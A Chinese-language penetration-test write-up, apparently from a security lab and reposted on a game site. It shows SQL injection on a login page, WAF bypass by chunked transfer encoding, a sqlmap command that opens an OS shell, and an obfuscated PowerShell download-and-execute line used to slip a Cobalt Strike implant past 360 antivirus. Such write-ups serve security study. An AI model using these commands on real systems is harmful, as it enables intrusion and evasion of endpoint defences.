记一次渗透测试过程

记一次渗透测试过程

首页角色扮演星云记更新时间:2024-05-11

收到某某测试任务,然后有了下面这一篇关于分块传输sql注入payload姿势分享以及绕过*软上线的文章。

在对某个网站进行渗透测试时,发现一个登陆界面,在尝试弱口令无果后,加个单引号发现报错了,按照以往的经验,这个登陆界面大概率是存在注入漏洞的。

尝试利用报错注入,直接获取到数据库名称,这一看注入不就是有了吗(这里构造万能密码进行登录绕过,发现行不通),看看使用sqlmap能不能直接获取到服务器权限。

然而使用sqlmap并没有跑出来注入,不知道是什么情况,这里怀疑是网站对某些关键字符进行过滤拦截了,尝试使用分块传输进行绕过。

这里稍微说一下分块传输的原理:

在头部加入 Transfer-Encoding: chunked 之后,就代表该报文采用了分块编码。这时,post请求报文中的数据部分需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的,也不包括分块数据结尾的,且最后需要用0独占一行表示结束。

使用分块后,默认的请求包头数据会增加请求头,告诉服务器将要用分块传输,语句经过拆分,变为零碎的数据包,WAF检测机制就不会认为此语句是一个危险的代码,在分块传输的数据包没有完全传完的时候,服务器是不做任何响应,等到全部传完后,在后台进行完整的语句拼接,带入数据库查询,从而绕过WAF的限制。

简单的来说就是把数据包分成一块一块的传过去,从而来骗过WAF。

在burp上直接利用chunked-coding-converter插件进行测试,发现分块传输是可行的。

那就直接使用sqlmap将流量代理到burp上使用分块传输进行绕过,成功获取到服务器权限:

sqlmap -r sql.txt --proxy=http://127.0.0.1:8080 --level 5 --os-shell --thread 5

已经获取到了服务器权限,经测试发现目标主机可以出网,那就可以直接上线了,在上线之前先查看一下主机进程发现存在360*毒。

这个时候想上线,肯定是要想办法绕过360的,这里使用CS来生产powershell脚本,对命令进行格式运算符混淆一下来绕过*软。

&("{1}{0}" -f 'ami','who') #执行whoami

powershell.exe -nop -c "&('{1}{0}' -f 'EX','I')(&('{1}{0}{2}' -f 'Obje','New-','ct')('{1}{4}{3}{0}{2}' -f'Clie','N','nt','t.Web','e')).('{1}{3}{0}{2}' -f 'trin','Downl','g','oadS').Invoke(('{1}{5}{2}{4}{3}{0}' -f 'x','xx','x','xxx','xxx','xxx'))"

成功绕过*软上线成功。


关于摘星实验室

摘星实验室是星云博创旗下专职负责技术研究的安全实验室,成立于2020年5月,团队核心成员均具备多年安全研究从业经验。实验室主要致力于攻防技术人员培养、攻防技术研究、安全领域前瞻性技术研究,为公司产品研发、安全项目及客户服务提供强有力的支撑。在技术研究方面,摘星实验室主攻漏洞挖掘及新型攻击,并将重点关注攻击溯源与黑客行为分析;与此同时,实验室还将持续关注对工业互联网领域的技术研究。

实验室成立以来,已通过CNVD/CNNVD累计发布安全漏洞300余个,是CNVD和CNNVD的漏洞挖掘支撑单位,在安全漏洞预警、事件通报处置等方面均得到了行业权威机构的认可。

查看全文
大家还看了
也许喜欢
更多游戏

Copyright © 2024 妖气游戏网 www.17u1u.com All Rights Reserved